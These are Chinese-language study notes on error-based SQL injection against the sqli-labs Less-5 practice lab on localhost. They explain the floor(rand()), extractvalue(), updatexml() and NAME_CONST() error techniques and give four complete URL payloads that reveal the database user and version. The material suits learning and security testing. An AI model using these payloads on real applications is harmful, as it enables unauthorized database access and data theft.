报错注入
报错注入的前提是页面上没有显示位,但必须有SQL语句执行错误的信息。攻击者可以通过输入单引号等方式来尝试触发错误,并利用如floor()、extractvalue()、updatexml()等函数来构造恶意的SQL语句,从而获取数据库的信息。
- 使用报错注入
- 某些数据库配置可能不允许在 SELECT 语句的某些部分使用 RAND() 函数,或者可能在特定上下文中对其使用有限制。
floor(rand(0)*2)
被用在了查询的某个不允许使用这种数学表达式的地方(例如,在 GROUP BY 子句中),那么它可能会触发错误。- updatexml() 函数经常与 SQL 注入攻击相关,因为当 XPath 表达式格式不正确时,它会产生错误消息,这有时会被攻击者用来提取数据库的信息。
http://localhost/sqli-labs/Less-5/?id=1%27union%20select%201,count(*),concat(0x3a,0x3a,(select%20user()),0x3a,0x3a,floor(rand(0)*2))a%20from%20information_schema.columns%20group%20by%20a--+
2. xpath 函数报错注入
- 通过闭合原始SQL查询,并插入恶意SQL代码(使用extractvalue函数触发错误并暴露数据库版本信息),尝试从数据库的错误信息中提取敏感信息。
http://localhost/sqli-labs/Less-5/?id=1%27and%20extractvalue(1,concat(0x7e,(select%20@@version),0x7e))%20--+
3. xpath函数报错注入
- 通过闭合原始SQL查询,并插入恶意SQL代码(使用updatexml函数触发错误并暴露数据库版本信息),尝试从数据库的错误信息中提取敏感信息。
http://localhost/sqli-labs/Less-5/?id=1%27and%20updatexml(1,concat(0x7e,(select%20@@version),0x7e),1)%20--+
4. 利用数据的重复性
http://localhost/sqli-labs/Less-5/?id=1%27union%20select%201,2,3%20from%20(select%20NAME_CONST(version(),1),%20NAME_CONST(version(),1))x--+